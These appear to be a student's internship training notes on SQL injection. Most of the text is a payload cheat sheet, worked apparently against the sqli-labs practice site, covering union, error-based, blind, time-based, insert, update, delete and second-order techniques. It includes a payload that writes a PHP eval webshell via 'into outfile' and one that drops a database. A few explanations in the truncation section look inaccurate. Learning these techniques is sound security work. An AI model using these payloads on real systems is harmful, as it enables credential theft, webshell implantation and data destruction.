毕业实习

西南科技大学毕业实训

1. 信息收集

2. SQL注入

判断注入点及闭

判断注入点及闭合方式

1 and sleep(5)

select name,password from users where id = $id ;
1   			正常页面
1 and 1=1		正常页面
1 and 1=2		异常页面
select name,password from users where id = 1 and 1=1 ;
select name,password from users where id = 1 and 1=2 ;

select * from users where id = '$id' ;
1   			正常页面
1 and 1=1		正常页面
1 and 1=2		正常页面     闭合方式有问题
select name,password from users where id = '1 and 1=1' ;
select name,password from users where id = '1 and 1=2' ;

1   				正常页面 
1' and '1'='1		正常页面
1' and '1'='2		异常页面    闭合方式没问题存在注入点
select name,password from users where id = '1' and '1'='1' ;
select name,password from users where id = '1' and '1'='2' ;

联合注入

union 前提条件 列数相同

1' order by 1 [--+|#|and '1' ='1]  	正常页面
1' order by 2 [--+|#|and '1' ='1]	正常页面
1' order by 3 [--+|#|and '1' ='1]	正常页面
1' order by 4 [--+|#|and '1' ='1]	异常页面   确定后台的查询结果有3列

1' union select 1 [--+|#|and '1' ='1]   	异常页面
1' union select 1,2 [--+|#|and '1' ='1]		异常页面
1' union select 1,2,3 [--+|#|and '1' ='1]	正常页面 确定后台的查询结果有3列

判断回显位置

1' union select 1,2,3 [--+|#|and '1' ='1]
根据回显的数字来判断第几列会回显

查数据库名

-1' union select 1,(select database()),(select @@version)--+

--Your Login name:security
--Your Password:5.5.44-0ubuntu0.14.04.1

查数据表名

-1' union select 1,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security'),(select @@version)--+
	
--Your Login name:emails,referers,uagents,users

查数据列名

-1' union select 1,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users'),(select @@version)--+
	
--Your Login name:id,username,password
--Your Password:5.5.44-0ubuntu0.14.04.1

查数据

-1' union select 1,(select group_concat(username) from security.users),(select group_concat(username) from security.users) --+
	
--Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
--Your Password:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

查询的数据过长时：

1' and updatexml(1,concat(0x7e,(select substr((select password from cms.cms_users limit 0,1),1,16))),1)--+

1' and updatexml(1,concat(0x7e,(select substr((select password from cms.cms_users limit 0,1),17,32))),1)--+

报错注入

判断闭合方式

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’’ LIMIT 0,1’ at line 1

通过查看错误信息，判断注入点和闭合方式

1   				正常页面 
1' and '1'='1		正常页面
1' and '1'='2		异常页面    闭合方式没问题存在注入点

xpath 表达式报错

1' and updatexml(1,concat(0x7e,(查询语句)),1) [--+|#|and '1' = '1]

查库名&版本

1' and updatexml(1,concat(0x7e,(select database())),1) [--+|#|and '1' = '1]

1' and updatexml(1,concat(0x7e,(select version())),1) [--+|#|and '1' = '1]

查表名、列名、数据

表名：
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security')),1) [--+|#|and '1' = '1]

列名：
1' and updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users')),1) [--+|#|and '1' = '1]

数据：...

extractvalue

1' and extractvalue(1,concat(0x7e,(查询语句))) [--+|#|and '1' = '1]

查库名&版本

库名：
1' and extractvalue(1,concat(0x7e,(select database()))) [--+|#|and '1' = '1]

版本：
1' and extractvalue(1,concat(0x7e,(select version()))) [--+|#|and '1' = '1]

查表名、列名、数据

表名：
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.`TABLES` WHERE table_schema = 'security'))) [--+|#|and '1' = '1]

列名：
1' and extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(COLUMN_name) from information_schema.`COLUMNS` where table_schema='security' and table_name='users'))) [--+|#|and '1' = '1]

数据：...

group by主键冲突

select count(*),(concat(floor(rand(0)*2),0x7e,(执行的语句)))x from information_schema.tables group by x

保证列数一致：

1' union select 1,2,3 %23
库名：
1' union select 1,count(*),(concat(floor(rand(0)*2),0x7e,(select database())))x from information_schema.tables group by x %23

exp函数报错

前提条件:5.5<mysql版本<5.6
原理:函数执行成功返回值0,利用~取反得到最大的无符号BIGINT,再利用exp造成double overflow error报错注入出数据

exp( ) 返回e的多少次方
select exp(~(select * from(查询的数据)x))

库名：
1' and exp(~(select * from(select database())x)) %23
...

堆叠注入

堆叠注入getshell 前提：

1. secure_file_priv = ‘’ || secure_file_priv = ‘网站根目录’
2. 网站链接数据库的时候使用的用户有对应权限
3. 系统运行数据库管理系统的用户对网站根目录有写入权限
4. 知道网站根目录绝对路径

select * from user where id = '$id';

1'; create database abcdefg;--+
select * from user where id = '1'; create database abcdefg;-- ';	

sql读写文件

secure_file_priv = '' 没有限制
secure_file_priv = 'c:/aaa' 只能在c:/aaa读写
secure_file_priv = null  不允许读写
	
1'; select '<?php @eval($_POST[1]);?>' into outfile 'C:\\XAMPP2\\htdocs\\sqli-labs\\shell.php';--+

布尔盲注

1
1' and '1' ='1
1' and '1' ='2

1' and sleep(3) #
1' and benchmark(10000000,sha(1))#

库名:确定库名字符长度

1' and LENGTH((SELECT DATABASE())) > 1 %23
	...
1' and LENGTH((SELECT DATABASE())) = 8 %23
逐字符猜解名称

1. 
1' and substr((select database()),1,1) = 'a' %23
1' and mid((select database()),1,1) = 'a' %23
...
			
1' and ord(substr((select database()),1,1)) > 65
		
2. 
1' and substr((select database()),2,1) = 'a' %23
1' and mid((select database()),2,1) = 'a' %23
			...
1' and ord(substr((select database()),2,1)) > 65

表名：确定表名字符长度：

第一张表
1' and LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 0,1)) > 1 %23
		...
1' and LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))= 6 %23
逐字符猜解名称	
1' and mid((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e' %23
....

第二张表
1' and LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 1,1)) > 1 %23
		...
1' and LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 1,1))= 6 %23
逐字符猜解名称	
1' and mid((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1) = 'e' %23
		....

列名：emails第一列,确定表名字符长度

1' and LENGTH((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1)) > 1 %23
...
1' and LENGTH((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1))= 2 %23
逐字符猜解名称	
1' and mid((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1),1,1) = 'e' %23

emails第2列....

数据：users中第一条数据，确定第一条数据符长度：

1' and LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) > 1 %23
		...
1' and LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) = 9 %23
		逐字符猜解名称	
1' and mid((select concat(username,0x7e,password) from security.users limit 0,1),1,1) = 'e' %23

时间盲注

判断注入点：

1' and sleep(3) #
1' and benchmark(10000000,sha(1))#

库名：

探测库名长度

1' and if(LENGTH((SELECT DATABASE())) > 1,SLEEP(3),1) %23
	...
1' and if(LENGTH((SELECT DATABASE())) = 8,SLEEP(3),1) %23
	
逐字符猜解名称：
1' and if(substr((SELECT DATABASE()),1,1) = 's',SLEEP(3),1) %23
	...

表名:

确定表名字符长度：

第一张表
1' and if((LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))) > 1,sleep(3),1)  %23
		...
1' and if((LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))) = 6,sleep(3),1)  %23
		逐字符猜解名称	
1' and if(mid((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1) = 'e',sleep(3),1) %23
		....
	第二张表
1' and if(LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 1,1)) > 1,sleep(3),1) %23
		...
1' and if(LENGTH((select table_name from information_schema.tables where table_schema = 'security' limit 1,1))= 6,sleep(3),1) %23
		逐字符猜解名称	
1' and if(mid((select table_name from information_schema.tables where table_schema = 'security' limit 1,1),1,1) = 'e',sleep(3),1) %23
		....

列名:

1' and if(LENGTH((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1)) > 1,sleep(3),1) %23
		...
1' and if(LENGTH((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1))= 2,sleep(3),1) %23
		逐字符猜解名称	
1' and if(mid((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'emails' limit 0,1),1,1) = 'e',sleep(3),1) %23
	emails第2列
		....

数据:

确定第一条数据符长度

1' and if(LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) > 1,sleep(3),1) %23
		...
1' and if(LENGTH((select concat(username,0x7e,password) from security.users limit 0,1)) = 9,sleep(3),1) %23
		逐字符猜解名称	
1' and if(mid((select concat(username,0x7e,password) from security.users limit 0,1),1,1) = 'd',sleep(3),1) %23	
		....

insert注入

	insert into users values('$u','$pw',....)
	'1'')
	i
	
username=aaaa&password=aaaa&sex=0'+%2b+(length((database())))+%2b+'0&phonenum=&email=&add=&submit=submit

insert into users values('aaaa','aaaa','0'+%2b+(length((database())))+%2b+'0','$phonenum','$email','$add')
	
username=aaaa'+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)+or+'1&password=aaaa&sex=&phonenum=&email=&add=&submit=submit

insert into users values('aaaa'+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)+or+'1','aaaa',....)

update注入

admin'#123424534    123456

update user set passwd = '$new_pass' where userame = '$user'
	
update user set passwd = '123456' where userame = 'admin'#123424534'
	
update table_name set column_name1='$pw' where column_name2 = '$id';

sex=7&phonenum=0'+%2b+(length((database())))+%2b+'0&add=2222&email=333&submit=submit

sex=123'+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)+or+'1&phonenum=0&add=2222&email=333&submit=submit

delete注入

delete from table_name where id = $id;
100';drop database abc;--+
delete from table_name where id = '100';drop database abc;--+';

'  or  updatexml(1,concat(0x7e,user()),0)  or '

580+or+updatexml(1,(concat(0x7e,(select+database()),0x7e)),1)

二次注入：

buuctf-unfinish

insert into users values('$username', "$pass","$email")
	
select database()
	
select username from users where email = '$email';
	
username = 0'+ord(mid((select database()) from 2 for 1))+'0
pass = 
email = 
insert into users values('0'+ord((select database()))+'0', "$pass","$email")
	
	数据库名 第一个字符 119
	0'+ord((select database()))+'0
	insert into users ( username, password, email) values('0'+ord((select database()))+'0', '$pass','$email')
	
	数据库名 第二个字符 101
	0'+ord(substr((select database()),2,1))+'0
	insert into users ( username, password, email) values('0'+ord(substr((select database()),2,1))+'0', '$pass','$email')
		发现 , 被过滤 可以用 from ... for... 代替
		
	0'+ord(substr((select database()) from 2 for 1))+'0
	insert into users ( username, password, email) values('0'+ord(substr((select database()) from 2 for 1))+'0', '$pass','$email')
	
	数据库名 第3个字符  98
	0'+ord(substr((select database()) from 3 for 1))+'0
	数据库名 第4个字符 无 
	0'+ord(substr((select database()) from 4 for 1))+'0
	数据库名 web

like注入

select * from users where key like '%$key%';

a%' #

http分割注入

select * from users where name = '$name' and pass = '$passwd'

username = admin' and \*
passwd = */ updatexml(1,concat(0x7e,(select database())),1) or '1

select * from users where name = 'admin' and \*' and pass = '*/ updatexml(1,concat(0x7e,(select database())),1) or '1'

约束注入

1. 注册同名用户：攻击者可以通过提交过长的用户名来绕过系统检测。例如，提交以下数据：

   INSERT INTO admin (username, password) VALUES ('admin' || REPEAT('A', 100), '123456');

   由于username字段的长度限制为50，超出部分将被截断，最终保存的用户名为admin，从而实现同名用户注册。

2. 利用空格绕过检测
   如果系统在注册时检测用户名是否已存在，攻击者可以通过在用户名后添加空格来绕过检测。例如：

   INSERT INTO admin (username, password) VALUES ('admin ', '123456');

   由于数据库在存储时会保留空格，攻击者可以通过这种方式注册与已有用户同名的账号。

insert table_name values('$username','$password','$c_passwd')

3. 网络协议

4. 过waf

技术路线图

XSS

SSRF

CSRF

逻辑漏洞

5. 应急响应

6. AWD

7. 成果

答辩PPT

实训报告